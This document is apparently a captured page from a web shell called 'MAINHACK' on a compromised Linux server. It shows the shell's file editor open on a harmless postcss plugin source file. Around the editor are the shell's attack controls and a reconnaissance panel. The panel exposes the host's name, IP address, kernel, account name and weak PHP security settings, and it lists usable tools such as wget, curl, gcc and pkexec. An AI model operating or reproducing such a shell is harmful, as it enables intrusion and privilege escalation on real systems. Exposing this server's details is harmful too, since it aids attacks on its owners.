[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = void 0; var _postcssValueParser = _interopRequireDefault(require("postcss-value-parser")); var _map = _interopRequireDefault(require("./lib/map")); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function evenValues(list, index) { return index % 2 === 0; } const repeatKeywords = new Set(_map.default.values()); function isCommaNode(node) { return node.type === 'div' && node.value === ','; } function isVariableFunctionNode(node) { if (node.type !== 'function') { return false; } return ['var', 'env'].includes(node.value.toLowerCase()); } function transform(value) { const parsed = (0, _postcssValueParser.default)(value); if (parsed.nodes.length === 1) { return value; } const ranges = []; let rangeIndex = 0; let shouldContinue = true; parsed.nodes.forEach((node, index) => { // After comma (`,`) follows next background if (isCommaNode(node)) { rangeIndex += 1; shouldContinue = true; return; } if (!shouldContinue) { return; } // After separator (`/`) follows `background-size` values // Avoid them if (node.type === 'div' && node.value === '/') { shouldContinue = false; return; } if (!ranges[rangeIndex]) { ranges[rangeIndex] = { start: null, end: null }; } // Do not try to be processed `var and `env` function inside background if (isVariableFunctionNode(node)) { shouldContinue = false; ranges[rangeIndex].start = null; ranges[rangeIndex].end = null; return; } const isRepeatKeyword = node.type === 'word' && repeatKeywords.has(node.value.toLowerCase()); if (ranges[rangeIndex].start === null && isRepeatKeyword) { ranges[rangeIndex].start = index; ranges[rangeIndex].end = index; return; } if (ranges[rangeIndex].start !== null) { if (node.type === 'space') { return; } else if (isRepeatKeyword) { ranges[rangeIndex].end = index; return; } return; } }); ranges.forEach(range => { if (range.start === null) { return; } const nodes = parsed.nodes.slice(range.start, range.end + 1); if (nodes.length !== 3) { return; } const key = nodes.filter(evenValues).map(n => n.value.toLowerCase()).toString(); const match = _map.default.get(key); if (match) { nodes[0].value = match; nodes[1].value = nodes[2].value = ''; } }); return parsed.toString(); } function pluginCreator() { return { postcssPlugin: 'postcss-normalize-repeat-style', prepare() { const cache = new Map(); return { OnceExit(css) { css.walkDecls(/^(background(-repeat)?|(-\w+-)?mask-repeat)$/i, decl => { const value = decl.value; if (!value) { return; } if (cache.has(value)) { decl.value = cache.get(value); return; } const result = transform(value); decl.value = result; cache.set(value, result); }); } }; } }; } pluginCreator.postcss = true; var _default = pluginCreator; exports.default = _default; module.exports = exports.default;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.65 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002